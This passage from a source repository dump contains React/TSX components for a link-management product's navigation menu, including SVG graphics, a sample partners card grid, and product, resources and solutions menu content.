2.77 2.75 2.74m-5.53-9.43v1.3m2.76-.15-.92.92m-4.6 4.6.92-.92m-2.06-1.84h1.3m-.16-2.76.92.92\"></path>\n      </g>\n      <text\n        xmlSpace=\"preserve\"\n        className=\"fill-[var(--muted)]\"\n        fontSize=\"8.78\"\n        fontWeight=\"500\"\n        style={{ whiteSpace: \"pre\" }}\n      >\n        <tspan x=\"226.78\" y=\"93.19\">\n          100K clicks\n        </tspan>\n      </text>\n      <path\n        className=\"fill-[var(--bg)]\"\n        d=\"M4 138.05c0-4.92 0-7.38.96-9.26a8.7 8.7 0 0 1 3.83-3.83c1.88-.96 4.34-.96 9.26-.96h263.9c4.92 0 7.38 0 9.26.96a8.7 8.7 0 0 1 3.83 3.83c.96 1.88.96 4.34.96 9.26v23.9c0 4.92 0 7.38-.96 9.26a8.78 8.78 0 0 1-3.83 3.83c-1.88.96-4.34.96-9.26.96H18.05c-4.92 0-7.38 0-9.26-.96a8.78 8.78 0 0 1-3.83-3.83C4 169.33 4 166.87 4 161.95z\"\n      ></path>\n      <path\n        className=\"stroke-[var(--border)]\"\n        strokeWidth=\"0.73\"\n        d=\"M4 138.05c0-4.92 0-7.38.96-9.26a8.7 8.7 0 0 1 3.83-3.83c1.88-.96 4.34-.96 9.26-.96h263.9c4.92 0 7.38 0 9.26.96a8.7 8.7 0 0 1 3.83 3.83c.96 1.88.96 4.34.96 9.26v23.9c0 4.92 0 7.38-.96 9.26a8.78 8.78 0 0 1-3.83 3.83c-1.88.96-4.34.96-9.26.96H18.05c-4.92 0-7.38 0-9.26-.96a8.78 8.78 0 0 1-3.83-3.83C4 169.33 4 166.87 4 161.95z\"\n      ></path>\n      <rect\n        width=\"24.88\"\n        height=\"24.88\"\n        x=\"17.17\"\n        y=\"137.56\"\n        fill={`url(#${id}-i)`}\n        rx=\"12.44\"\n      ></rect>\n      <rect\n        width=\"25.61\"\n        height=\"25.61\"\n        x=\"16.8\"\n        y=\"137.19\"\n        className=\"stroke-[var(--border)]\"\n        strokeWidth=\"0.73\"\n        rx=\"12.8\"\n      ></rect>\n      <path\n        className=\"fill-[var(--fg)]\"\n        d=\"M29.61 143c.6 0 1.19.08 1.75.22v3.75a3.5 3.5 0 1 0 0 6.06v.47h1.75v-9.56a7 7 0 1 1-3.5-.94m2.29.39\"\n      ></path>\n      <text\n        xmlSpace=\"preserve\"\n        className=\"fill-[var(--fg)]\"\n        fontSize=\"10.24\"\n        fontWeight=\"600\"\n        style={{ whiteSpace: \"pre\" }}\n      >\n        <tspan x=\"50.83\" y=\"145.49\">\n          d.to/try\n        </tspan>\n      </text>\n      <g\n        className=\"stroke-[var(--fg)]\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.1\"\n        clipPath={`url(#${id}-j)`}\n      >\n        <path d=\"M102.47 146.08h3.98c.63 0 1.14-.51 1.14-1.14v-3.98c0-.63-.51-1.14-1.14-1.14h-3.98c-.63 0-1.14.5-1.14 1.14v3.98c0 .63.5 1.14 1.14 1.14\"></path>\n        <path d=\"M100.05 144a1.14 1.14 0 0 1-.71-1.05v-3.99c0-.63.5-1.14 1.13-1.14h3.99c.48 0 .89.3 1.06.72\"></path>\n      </g>\n      <path\n        className=\"stroke-[var(--fg)]\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.1\"\n        d=\"M124.87 143.66h-1.29a.85.85 0 0 0-.85.85v1.28m-1.71-5.97v1.28a.85.85 0 0 1-.85.85h-1.28m3.84.01h.43m-2.14 3.83v-.42m-3.41-7.26h1.28c.24 0 .43.2.43.43v1.28c0 .23-.2.42-.43.42h-1.28a.43.43 0 0 1-.43-.42v-1.28c0-.24.2-.43.43-.43m5.55 0h1.28c.23 0 .43.2.43.43v1.28c0 .23-.2.42-.43.42h-1.28a.43.43 0 0 1-.43-.42v-1.28c0-.24.2-.43.43-.43m-5.55 5.55h1.28c.24 0 .43.19.43.43v1.28c0 .23-.2.42-.43.42h-1.28a.43.43 0 0 1-.43-.42v-1.28c0-.24.2-.43.43-.43\"\n      ></path>\n      <g\n        stroke=\"#A1A1A1\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.1\"\n        clipPath={`url(#${id}-k)`}\n      >\n        <path d=\"M59.11 158.38h-4.7a.9.9 0 0 1-.89-.89v-1.79\"></path>\n        <path d=\"m57.21 156.48 1.9 1.9-1.9 1.9\"></path>\n      </g>\n      <text\n        xmlSpace=\"preserve\"\n        fill=\"#737373\"\n        fontSize=\"10.24\"\n        fontWeight=\"500\"\n        style={{ whiteSpace: \"pre\" }}\n      >\n        <tspan x=\"63.27\" y=\"161.59\">\n          app.dub.co/register\n        </tspan>\n      </text>\n      <path\n        className=\"fill-[var(--bg)]\"\n        d=\"M208.12 139.4h66.22c1.24 0 2.14 0 2.86.05.62.05 1.07.14 1.44.3l.16.08c.66.34 1.22.85 1.6 1.48l.16.28c.21.4.32.9.38 1.6.06.72.06 1.62.06 2.86v7.9c0 1.24 0 2.14-.06 2.86a4.6 4.6 0 0 1-.3 1.44l-.08.16a4 4 0 0 1-1.48 1.6l-.28.16c-.4.2-.9.32-1.6.38-.72.06-1.62.06-2.86.06h-66.22c-1.23 0-2.14 0-2.85-.06a4.6 4.6 0 0 1-1.45-.3l-.16-.08a4 4 0 0 1-1.6-1.48l-.16-.28c-.2-.4-.32-.9-.38-1.6-.06-.72-.06-1.62-.06-2.86v-7.9c0-1.24 0-2.14.06-2.86.06-.7.17-1.2.38-1.6.39-.76 1-1.38 1.76-1.76.41-.2.9-.32 1.6-.38.72-.06 1.63-.06 2.86-.06Z\"\n      ></path>\n      <path\n        className=\"stroke-[var(--border)]\"\n        strokeWidth=\"0.73\"\n        d=\"M208.12 139.4h66.22c1.24 0 2.14 0 2.86.05.62.05 1.07.14 1.44.3l.16.08c.66.34 1.22.85 1.6 1.48l.16.28c.21.4.32.9.38 1.6.06.72.06 1.62.06 2.86v7.9c0 1.24 0 2.14-.06 2.86a4.6 4.6 0 0 1-.3 1.44l-.08.16a4 4 0 0 1-1.48 1.6l-.28.16c-.4.2-.9.32-1.6.38-.72.06-1.62.06-2.86.06h-66.22c-1.23 0-2.14 0-2.85-.06a4.6 4.6 0 0 1-1.45-.3l-.16-.08a4 4 0 0 1-1.6-1.48l-.16-.28c-.2-.4-.32-.9-.38-1.6-.06-.72-.06-1.62-.06-2.86v-7.9c0-1.24 0-2.14.06-2.86.06-.7.17-1.2.38-1.6.39-.76 1-1.38 1.76-1.76.41-.2.9-.32 1.6-.38.72-.06 1.63-.06 2.86-.06Z\"\n      ></path>\n      <g\n        className=\"stroke-[var(--muted)]\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.1\"\n        clipPath={`url(#${id}-l)`}\n      >\n        <path d=\"m212.95 149.2 4.75 1.64c.15.05.15.25 0 .3l-2.13.8a.17.17 0 0 0-.09.1l-.8 2.13a.16.16 0 0 1-.3 0l-1.64-4.76a.16.16 0 0 1 .2-.2h0Zm2.55 2.77 2.75 2.74m-5.53-9.43v1.3m2.76-.15-.92.92m-4.6 4.6.92-.92m-2.06-1.84h1.3m-.16-2.76.92.92\"></path>\n      </g>\n      <text\n        xmlSpace=\"preserve\"\n        className=\"fill-[var(--muted)]\"\n        fontSize=\"8.78\"\n        fontWeight=\"500\"\n        style={{ whiteSpace: \"pre\" }}\n      >\n        <tspan x=\"223.78\" y=\"153.19\">\n          65.8K clicks\n        </tspan>\n      </text>\n      <defs>\n        <clipPath id={`${id}-b`}>\n          <use xlinkHref={`#${id}-m`} transform=\"translate(80.34 16.83)\"></use>\n        </clipPath>\n        <clipPath id={`${id}-c`}>\n          <use xlinkHref={`#${id}-n`} transform=\"translate(52.3 34.02)\"></use>\n        </clipPath>\n        <clipPath id={`${id}-d`}>\n          <use xlinkHref={`#${id}-o`} transform=\"translate(204.68 24.15)\"></use>\n        </clipPath>\n        <clipPath id={`${id}-f`}>\n          <use xlinkHref={`#${id}-m`} transform=\"translate(122.34 76.83)\"></use>\n        </clipPath>\n        <clipPath id={`${id}-g`}>\n          <use xlinkHref={`#${id}-n`} transform=\"translate(52.3 94.02)\"></use>\n        </clipPath>\n        <clipPath id={`${id}-h`}>\n          <use xlinkHref={`#${id}-o`} transform=\"translate(210.68 84.15)\"></use>\n        </clipPath>\n        <clipPath id={`${id}-j`}>\n          <use xlinkHref={`#${id}-m`} transform=\"translate(98.34 136.83)\"></use>\n        </clipPath>\n        <clipPath id={`${id}-k`}>\n          <use xlinkHref={`#${id}-n`} transform=\"translate(52.3 154.02)\"></use>\n        </clipPath>\n        <clipPath id={`${id}-l`}>\n          <use\n            xlinkHref={`#${id}-o`}\n            transform=\"translate(207.68 144.15)\"\n          ></use>\n        </clipPath>\n        <linearGradient\n          id={`${id}-a`}\n          x1=\"29.61\"\n          x2=\"29.61\"\n          y1=\"17.56\"\n          y2=\"42.44\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#030712\" stopOpacity=\"0\"></stop>\n          <stop offset=\"1\" stopColor=\"#030712\" stopOpacity=\"0.05\"></stop>\n        </linearGradient>\n        <linearGradient\n          id={`${id}-e`}\n          x1=\"29.61\"\n          x2=\"29.61\"\n          y1=\"77.56\"\n          y2=\"102.44\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#030712\" stopOpacity=\"0\"></stop>\n          <stop offset=\"1\" stopColor=\"#030712\" stopOpacity=\"0.05\"></stop>\n        </linearGradient>\n        <linearGradient\n          id={`${id}-i`}\n          x1=\"29.61\"\n          x2=\"29.61\"\n          y1=\"137.56\"\n          y2=\"162.44\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#030712\" stopOpacity=\"0\"></stop>\n          <stop offset=\"1\" stopColor=\"#030712\" stopOpacity=\"0.05\"></stop>\n        </linearGradient>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/nav/content/graphics/partners-graphic.tsx",
    "content": "import { capitalize, cn, nFormatter } from \"@dub/utils\";\n\nexport const PARTNERS = [\n  {\n    name: \"Lauren Anderson\",\n    country: \"US\",\n    revenue: 1_800,\n    payouts: 550,\n  },\n  {\n    name: \"Mia Taylor\",\n    country: \"US\",\n    revenue: 22_600,\n    payouts: 6_800,\n  },\n  {\n    name: \"Sophie Laurent\",\n    country: \"CA\",\n    revenue: 11_000,\n    payouts: 3_300,\n  },\n  {\n    name: \"Hiroshi Tanaka\",\n    country: \"JP\",\n    revenue: 19_200,\n    payouts: 5_700,\n  },\n  {\n    name: \"Elias Weber\",\n    country: \"DE\",\n    revenue: 783,\n    payouts: 235,\n  },\n  {\n    name: \"Liam Carter\",\n    country: \"US\",\n    revenue: 30_000,\n    payouts: 9_200,\n  },\n];\n\nexport function PartnersGraphic({ className }: { className?: string }) {\n  return (\n    <div\n      className={cn(\n        \"pointer-events-none relative size-full dark:opacity-80\",\n        className,\n      )}\n      aria-hidden\n    >\n      <div className=\"absolute left-0 top-0 grid grid-cols-[repeat(2,180px)]\">\n        {PARTNERS.map((partner, idx) => (\n          <div key={idx} className=\"h-[60px] w-[180px] p-[3px]\">\n            <div className=\"border-border-subtle bg-bg-default flex size-full select-none overflow-hidden rounded border\">\n              {partner && (\n                <>\n                  <div\n                    key={idx}\n                    className=\"bg-bg-emphasis aspect-square h-full\"\n                    style={{\n                      backgroundImage:\n                        \"url(https://assets.dub.co/partners/partner-images.jpg)\",\n                      backgroundSize: \"1400%\", // 14 images\n                      backgroundPositionX: (14 - (idx % 14)) * 100 + \"%\",\n                    }}\n                  />\n                  <div className=\"border-border-subtle flex h-full flex-col justify-between border-l px-2 py-1.5\">\n                    <div className=\"flex items-center gap-1.5\">\n                      <img\n                        alt=\"US Flag\"\n                        src={`https://flag.vercel.app/m/${partner.country}.svg`}\n                        className=\"h-2.5 w-3 rounded-sm border-[0.5px] border-black/15\"\n                      />\n                      <span className=\"text-content-default text-[9px] font-medium\">\n                        {partner.name}\n                      </span>\n                    </div>\n                    <div className=\"divide-border-subtle flex divide-x\">\n                      {([\"revenue\", \"payouts\"] as const).map((key, idx) => (\n                        <div\n                          key={key}\n                          className={cn(\n                            \"flex flex-col\",\n                            idx === 0 ? \"pr-4\" : \"pl-4\",\n                          )}\n                        >\n                          <span className=\"text-content-muted text-[6px] font-medium\">\n                            {capitalize(key)}\n                          </span>\n                          <span className=\"text-content-default text-[9px] font-medium\">\n                            ${nFormatter(partner[key])}\n                          </span>\n                        </div>\n                      ))}\n                    </div>\n                  </div>\n                </>\n              )}\n            </div>\n          </div>\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/nav/content/product-content.tsx",
    "content": "import { cn, createHref } from \"@dub/utils\";\nimport { Link as NavigationMenuLink } from \"@radix-ui/react-navigation-menu\";\nimport Image from \"next/image\";\nimport Link from \"next/link\";\nimport { CSSProperties } from \"react\";\nimport { Grid } from \"../..\";\nimport { DubAnalyticsIcon, DubLinksIcon, DubPartnersIcon } from \"../../icons\";\nimport { AnalyticsGraphic } from \"./graphics/analytics-graphic\";\nimport { LinksGraphic } from \"./graphics/links-graphic\";\nimport { PartnersGraphic } from \"./graphics/partners-graphic\";\nimport { getUtmParams } from \"./shared\";\n\nconst products = [\n  {\n    icon: (\n      <div className=\"flex size-4 items-center justify-center rounded bg-orange-400\">\n        <DubLinksIcon className=\"size-2.5 text-orange-900\" />\n      </div>\n    ),\n    title: \"Dub Links\",\n    description: \"Short links with superpowers for modern marketing teams.\",\n    href: \"/links\",\n    color: \"#f4950c\",\n    graphicsContainerClassName: \"px-2\",\n    graphic: <LinksGraphic className=\"absolute left-0 top-0 h-auto w-full\" />,\n  },\n  {\n    icon: (\n      <div className=\"flex size-4 items-center justify-center rounded bg-green-400\">\n        <DubAnalyticsIcon className=\"size-2.5 text-green-900\" />\n      </div>\n    ),\n    title: \"Dub Analytics\",\n    description: \"Powerful analytics delivered instantly.\",\n    href: \"/analytics\",\n    color: \"#36D78F\",\n    graphicsContainerClassName: \"h-[170%] bottom-0 top-[unset]\",\n    graphic: (\n      <AnalyticsGraphic className=\"absolute bottom-0 left-0 size-full\" />\n    ),\n  },\n  {\n    icon: (\n      <div className=\"flex size-4 items-center justify-center rounded bg-violet-400\">\n        <DubPartnersIcon className=\"size-2.5 text-violet-900\" />\n      </div>\n    ),\n    title: \"Dub Partners\",\n    description: \"Grow your revenue on auto-pilot with partnerships.\",\n    href: \"/partners\",\n    color: \"#818cf8\",\n    graphicsContainerClassName: \"pl-2\",\n    graphic: <PartnersGraphic />,\n  },\n];\n\nconst largeLinks = [\n  {\n    title: \"Dub Integrations\",\n    description: \"Enhance your short links\",\n    href: \"/integrations\",\n    graphic: (\n      <div className=\"absolute -right-4 top-1/2 h-[180px] w-[240px] -translate-y-1/2 [mask-image:linear-gradient(90deg,black_50%,transparent_95%)] dark:opacity-80\">\n        <Image\n          src=\"https://assets.dub.co/misc/integrations-grid.png\"\n          alt=\"\"\n          fill\n        />\n      </div>\n    ),\n  },\n  {\n    title: \"Dub API\",\n    description: \"Unlock further capabilities\",\n    href: \"/docs/api-reference/introduction\",\n    graphic: (\n      <div className=\"absolute -right-4 top-2.5 h-[180px] w-[240px] [mask-image:linear-gradient(90deg,black_50%,transparent_95%)] dark:opacity-60\">\n        <Image src=\"https://assets.dub.co/misc/api-thumbnail.png\" alt=\"\" fill />\n      </div>\n    ),\n  },\n];\n\nexport function ProductContent({ domain }: { domain: string }) {\n  return (\n    <div className=\"grid w-[1020px] grid-cols-1 gap-4 p-4\">\n      <div className=\"grid grid-cols-3 gap-4\">\n        {products.map(\n          ({\n            title,\n            description,\n            icon,\n            href,\n            color,\n            graphicsContainerClassName,\n            graphic,\n          }) => (\n            <NavigationMenuLink asChild key={title}>\n              <Link\n                href={createHref(\n                  href,\n                  domain,\n                  getUtmParams({ domain, utm_content: title }),\n                )}\n                className=\"group relative flex flex-col overflow-hidden rounded-xl border border-neutral-100 bg-neutral-50 dark:border-white/20 dark:bg-white/10\"\n              >\n                <Grid\n                  className=\"[mask-image:linear-gradient(transparent,black,transparent)] dark:text-white/5\"\n                  cellSize={60}\n                  patternOffset={[-51, -23]}\n                />\n                <div className=\"relative p-5 pb-0\">\n                  {icon}\n                  <span className=\"mt-3 block text-sm font-medium text-neutral-900 dark:text-white\">\n                    {title}\n                  </span>\n                  <p className=\"mt-2 max-w-56 text-sm text-neutral-500 dark:text-white/60\">\n                    {description}\n                  </p>\n                </div>\n                <div className=\"relative mt-10 h-40 grow\">\n                  <div\n                    className={cn(\n                      \"absolute left-0 top-0 size-full grow overflow-hidden [mask-image:linear-gradient(black_50%,transparent)]\",\n                      graphicsContainerClassName,\n                    )}\n                  >\n                    <div className=\"relative size-full\">{graphic}</div>\n                  </div>\n                </div>\n                <div\n                  className=\"pointer-events-none absolute inset-0 bg-[radial-gradient(circle_at_50%_100%,var(--color),transparent)] opacity-[0.07] transition-opacity duration-150 group-hover:opacity-15\"\n                  style={\n                    {\n                      \"--color\": color,\n                    } as CSSProperties\n                  }\n                />\n              </Link>\n            </NavigationMenuLink>\n          ),\n        )}\n      </div>\n      <div className=\"grid grow grid-cols-2 gap-4\">\n        {largeLinks.map(({ title, description, href, graphic }) => (\n          <NavigationMenuLink asChild key={title}>\n            <Link\n              href={createHref(\n                href,\n                domain,\n                getUtmParams({ domain, utm_content: title }),\n              )}\n              className=\"group relative flex flex-col justify-center rounded-xl border border-neutral-100 bg-neutral-50 transition-colors duration-150 hover:bg-neutral-100 active:bg-neutral-200 dark:border-white/20 dark:bg-white/10 dark:hover:bg-white/15 dark:active:bg-white/20\"\n            >\n              <Grid\n                className=\"[mask-image:linear-gradient(90deg,transparent,black)] dark:text-white/5\"\n                cellSize={60}\n                patternOffset={[-39, -49]}\n              />\n              <div\n                className=\"pointer-events-none absolute inset-0 overflow-hidden\"\n                aria-hidden\n              >\n                {graphic}\n              </div>\n              <div className=\"relative flex items-center justify-between px-5 py-4\">\n                <div>\n                  <span className=\"text-sm font-medium leading-none text-neutral-900 dark:text-white\">\n                    {title}\n                  </span>\n                  <p className=\"mt-1 text-sm text-neutral-500 dark:text-white/60\">\n                    {description}\n                  </p>\n                </div>\n              </div>\n            </Link>\n          </NavigationMenuLink>\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/nav/content/resources-content.tsx",
    "content": "import { cn, createHref } from \"@dub/utils\";\nimport { Link as NavigationMenuLink } from \"@radix-ui/react-navigation-menu\";\nimport Link from \"next/link\";\nimport { RESOURCES } from \"../../content\";\nimport { Grid } from \"../../grid\";\nimport { Book2Fill, LifeRingFill } from \"../../icons\";\nimport {\n  ContentLinkCard,\n  contentHeadingClassName,\n  getUtmParams,\n} from \"./shared\";\n\nconst mainLinks = [\n  {\n    icon: LifeRingFill,\n    title: \"Help Center\",\n    description: \"Answers to your questions\",\n    thumbnail: \"https://assets.dub.co/misc/help-thumbnail.jpg\",\n    href: \"/help\",\n  },\n  {\n    icon: Book2Fill,\n    title: \"Docs\",\n    description: \"Platform documentation\",\n    thumbnail: \"https://assets.dub.co/misc/docs-thumbnail.jpg\",\n    href: \"/docs\",\n  },\n];\n\nexport function ResourcesContent({ domain }: { domain: string }) {\n  return (\n    <div className=\"grid w-[1020px] grid-cols-[0.9fr,0.55fr,0.55fr] divide-x divide-neutral-200 dark:divide-white/20\">\n      <div className=\"flex h-full flex-col p-4\">\n        <p className={cn(contentHeadingClassName, \"mb-4 ml-2\")}>Explore</p>\n        <div className=\"grid grow grid-cols-2 gap-4\">\n          {mainLinks.map(({ icon: Icon, title, description, href }) => (\n            <NavigationMenuLink key={title} asChild>\n              <Link\n                key={title}\n                href={createHref(\n                  href,\n                  domain,\n                  getUtmParams({ domain, utm_content: title }),\n                )}\n                className={cn(\n                  \"group relative isolate z-0 flex flex-col justify-between overflow-hidden rounded-xl border border-neutral-100 bg-neutral-50 px-5 py-4 transition-colors duration-75\",\n                  \"dark:border-white/20 dark:bg-neutral-900\",\n                )}\n              >\n                <div className=\"absolute inset-0 opacity-0 transition-opacity duration-150 group-hover:opacity-100\">\n                  <div className=\"absolute -inset-[25%] -skew-y-12 [mask-image:linear-gradient(225deg,black,transparent_50%)]\">\n                    <Grid\n                      cellSize={46}\n                      patternOffset={[0, -14]}\n                      className=\"translate-y-2 text-[#ad1f3288] transition-transform duration-150 ease-out group-hover:translate-y-0\"\n                    />\n                  </div>\n                  <div\n                    className={cn(\n                      \"absolute -inset-[10%] opacity-10 blur-[50px] dark:brightness-150\",\n                      \"bg-[conic-gradient(#F35066_0deg,#F35066_117deg,#9071F9_180deg,#5182FC_240deg,#F35066_360deg)]\",\n                    )}\n                  />\n                </div>\n                <Icon className=\"relative size-5 text-neutral-700 dark:text-white/60\" />\n                <div className=\"relative\">\n                  <span className=\"text-sm font-medium text-neutral-900 dark:text-white\">\n                    {title}\n                  </span>\n                  <p className=\"mt-2 text-xs text-neutral-500 dark:text-white/60\">\n                    {description}\n                  </p>\n                </div>\n              </Link>\n            </NavigationMenuLink>\n          ))}\n        </div>\n      </div>\n\n      <div className=\"px-6 py-4\">\n        <p className={cn(contentHeadingClassName, \"mb-2\")}>Company</p>\n        <div className=\"flex flex-col gap-0.5\">\n          {RESOURCES.filter(({ title }) =>\n            [\"About\", \"Careers\", \"Brand Guidelines\", \"Contact\"].includes(title),\n          ).map(({ icon: Icon, title, description, href }) => (\n            <ContentLinkCard\n              key={href}\n              className=\"-mx-2\"\n              href={createHref(\n                href,\n                domain,\n                getUtmParams({ domain, utm_content: title }),\n              )}\n              icon={\n                <div className=\"shrink-0 rounded-md border border-neutral-200 bg-white/50 p-2.5 dark:border-white/20 dark:bg-white/10\">\n                  <Icon className=\"size-4 text-neutral-600 transition-colors dark:text-white/60\" />\n                </div>\n              }\n              title={title}\n              description={description}\n            />\n          ))}\n        </div>\n      </div>\n\n      <div className=\"px-6 py-4\">\n        <p className={cn(contentHeadingClassName, \"mb-2\")}>Updates</p>\n        <div className=\"flex flex-col gap-0.5\">\n          {RESOURCES.filter(({ title }) =>\n            [\"Blog\", \"Changelog\"].includes(title),\n          ).map(({ icon: Icon, title, description, href }) => (\n            <ContentLinkCard\n              key={href}\n              className=\"-mx-2\"\n              href={createHref(\n                href,\n                domain,\n                getUtmParams({ domain, utm_content: title }),\n              )}\n              icon={\n                <div className=\"shrink-0 rounded-md border border-neutral-200 bg-white/50 p-2.5 dark:border-white/20 dark:bg-white/10\">\n                  <Icon className=\"size-4 text-neutral-600 transition-colors dark:text-white/60\" />\n                </div>\n              }\n              title={title}\n              description={description}\n            />\n          ))}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/nav/content/shared.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { Link as NavigationMenuLink } from \"@radix-ui/react-navigation-menu\";\nimport Link from \"next/link\";\nimport { ComponentProps, ReactNode, SVGProps, type JSX } from \"react\";\nimport { ExpandingArrow, Icon } from \"../../icons\";\n\nexport const contentHeadingClassName =\n  \"text-xs uppercase text-neutral-500 dark:text-white/60\";\n\nexport const contentLinkCardClassName =\n  \"group rounded-[8px] p-2 transition-colors hover:bg-neutral-50 active:bg-neutral-100 dark:hover:bg-white/[0.15] dark:active:bg-white/20\";\n\nexport const getUtmParams = ({\n  domain,\n  ...rest\n}: { domain: string } & Record<string, string>) => ({\n  utm_source: \"Custom Domain\",\n  utm_medium: \"Navbar\",\n  utm_campaign: domain,\n  ...rest,\n});\n\nexport function ContentLinkCard({\n  icon,\n  title,\n  description,\n  descriptionLines = 1,\n  className,\n  showArrow,\n  ...rest\n}: {\n  icon?: ReactNode;\n  title: string;\n  description?: string;\n  descriptionLines?: 1 | 2;\n  showArrow?: boolean;\n} & ComponentProps<typeof Link>) {\n  return (\n    <NavigationMenuLink asChild>\n      <Link className={cn(contentLinkCardClassName, className)} {...rest}>\n        <div className=\"flex items-center justify-between gap-3\">\n          {icon}\n          <div className=\"flex-1\">\n            <p className=\"text-sm font-medium text-neutral-700 dark:text-white\">\n              {title}\n            </p>\n            {description && (\n              <p\n                className={cn(\n                  \"text-xs text-neutral-500 dark:text-white/60\",\n                  [\"line-clamp-1\", \"line-clamp-2\"][descriptionLines - 1],\n                )}\n              >\n                {description}\n              </p>\n            )}\n          </div>\n          {showArrow && (\n            <ExpandingArrow className=\"invisible -ml-6 h-4 w-4 text-neutral-700 group-aria-selected:visible sm:group-hover:visible dark:text-white/80\" />\n          )}\n        </div>\n      </Link>\n    </NavigationMenuLink>\n  );\n}\n\nexport function ContentIcon({\n  icon: Icon,\n}: {\n  icon: (props: SVGProps<SVGSVGElement>) => JSX.Element;\n}) {\n  return (\n    <div className=\"shrink-0 rounded-[10px] border border-neutral-200 bg-white/50 p-3 dark:border-white/20 dark:bg-white/10\">\n      <Icon className=\"h-4 w-4 text-black transition-transform group-hover:scale-110 dark:text-white/80\" />\n    </div>\n  );\n}\n\nexport function ToolLinkCard({\n  name,\n  href,\n  icon,\n}: {\n  name: string;\n  href: string;\n  icon: ReactNode;\n}) {\n  return (\n    <NavigationMenuLink asChild>\n      <Link\n        href={href}\n        className=\"group relative isolate overflow-hidden rounded-[8px] border border-neutral-100 p-3 text-sm font-medium text-neutral-800 transition-colors hover:border-neutral-200 hover:bg-neutral-100 active:bg-neutral-200 dark:border-white/20 dark:text-white/80 dark:hover:bg-white/[0.15] dark:active:bg-white/20\"\n      >\n        <div className=\"absolute -bottom-5 -right-3 -z-[1] w-14\">{icon}</div>\n        {name}\n      </Link>\n    </NavigationMenuLink>\n  );\n}\n\nexport function LargeLinkCard({\n  icon: Icon,\n  title,\n  description,\n  iconClassName,\n  ...rest\n}: {\n  icon: Icon;\n  title: string;\n  description?: string;\n  iconClassName?: string;\n} & ComponentProps<typeof Link>) {\n  return (\n    <NavigationMenuLink asChild>\n      <Link\n        {...rest}\n        className=\"group relative flex flex-col justify-center rounded-xl border border-neutral-100 bg-neutral-50 transition-colors duration-150 hover:bg-neutral-100 active:bg-neutral-200 dark:border-white/20 dark:bg-white/10 dark:hover:bg-white/15 dark:active:bg-white/20\"\n      >\n        <div className=\"flex items-center justify-between px-5 py-4\">\n          <div>\n            <span className=\"text-sm font-medium leading-none text-neutral-900 dark:text-white\">\n              {title}\n            </span>\n            <p className=\"mt-1 text-sm text-neutral-500 dark:text-white/60\">\n              {description}\n            </p>\n          </div>\n          <Icon\n            className={cn(\n              \"size-6 text-neutral-700 dark:text-neutral-200\",\n              iconClassName,\n            )}\n          />\n        </div>\n      </Link>\n    </NavigationMenuLink>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/nav/content/solutions-content.tsx",
    "content": "import { cn, createHref } from \"@dub/utils\";\nimport { Link as NavigationMenuLink } from \"@radix-ui/react-navigation-menu\";\nimport Link from \"next/link\";\nimport { SDKS } from \"../../content\";\nimport { Grid } from \"../../grid\";\nimport { DiamondTurnRightFill, MicrophoneFill, UsersFill } from \"../../icons\";\nimport {\n  ContentLinkCard,\n  contentHeadingClassName,\n  getUtmParams,\n} from \"./shared\";\n\nconst mainLinks = [\n  {\n    icon: DiamondTurnRightFill,\n    title: \"Marketing Attribution\",\n    description: \"Easily track and measure marketing impact\",\n    href: \"/analytics\",\n  },\n  {\n    icon: MicrophoneFill,\n    title: \"Content Creators\",\n    description: \"Intelligent audience insights and link tracking\",\n    href: \"/solutions/creators\",\n  },\n  {\n    icon: UsersFill,\n    title: \"Affiliate Management\",\n    description: \"Manage affiliates and automate payouts\",\n    href: \"/partners\",\n  },\n];\n\nexport function SolutionsContent({ domain }: { domain: string }) {\n  return (\n    <div className=\"grid w-[1020px] grid-cols-[minmax(0,1fr),0.4fr] divide-x divide-neutral-200 dark:divide-white/20\">\n      <div className=\"flex h-full flex-col p-4\">\n        <p className={cn(contentHeadingClassName, \"mb-4 ml-2\")}>Use case</p>\n        <div className=\"grid grow grid-cols-3 gap-4\">\n          {mainLinks.map(({ icon: Icon, title, description, href }) => (\n            <NavigationMenuLink key={title} asChild>\n              <Link\n                key={title}\n                href={createHref(\n                  href,\n                  domain,\n                  getUtmParams({ domain, utm_content: title }),\n                )}\n                className={cn(\n                  \"group relative isolate z-0 flex flex-col justify-between overflow-hidden rounded-xl border border-neutral-100 bg-neutral-50 px-5 py-4 transition-colors duration-75\",\n                  \"dark:border-white/20 dark:bg-neutral-900\",\n                )}\n              >\n                <div className=\"absolute inset-0 opacity-0 transition-opacity duration-150 group-hover:opacity-100\">\n                  <div className=\"absolute -inset-[25%] -skew-y-12 [mask-image:linear-gradient(225deg,black,transparent_50%)]\">\n                    <Grid\n                      cellSize={46}\n                      patternOffset={[0, -14]}\n                      className=\"translate-y-2 text-[#ad1f3288] transition-transform duration-150 ease-out group-hover:translate-y-0\"\n                    />\n                  </div>\n                  <div\n                    className={cn(\n                      \"absolute -inset-[10%] opacity-10 blur-[50px] dark:brightness-150\",\n                      \"bg-[conic-gradient(#F35066_0deg,#F35066_117deg,#9071F9_180deg,#5182FC_240deg,#F35066_360deg)]\",\n                    )}\n                  />\n                </div>\n                <Icon className=\"relative size-5 text-neutral-700 dark:text-white/60\" />\n                <div className=\"relative\">\n                  <span className=\"text-sm font-medium text-neutral-900 dark:text-white\">\n                    {title}\n                  </span>\n                  <p className=\"mt-2 text-xs text-neutral-500 dark:text-white/60\">\n                    {description}\n                  </p>\n                </div>\n              </Link>\n            </NavigationMenuLink>\n          ))}\n        </div>\n      </div>\n      <div className=\"px-6 py-4\">\n        <p className={cn(contentHeadingClassName, \"mb-2\")}>SDKs</p>\n        <div className=\"flex 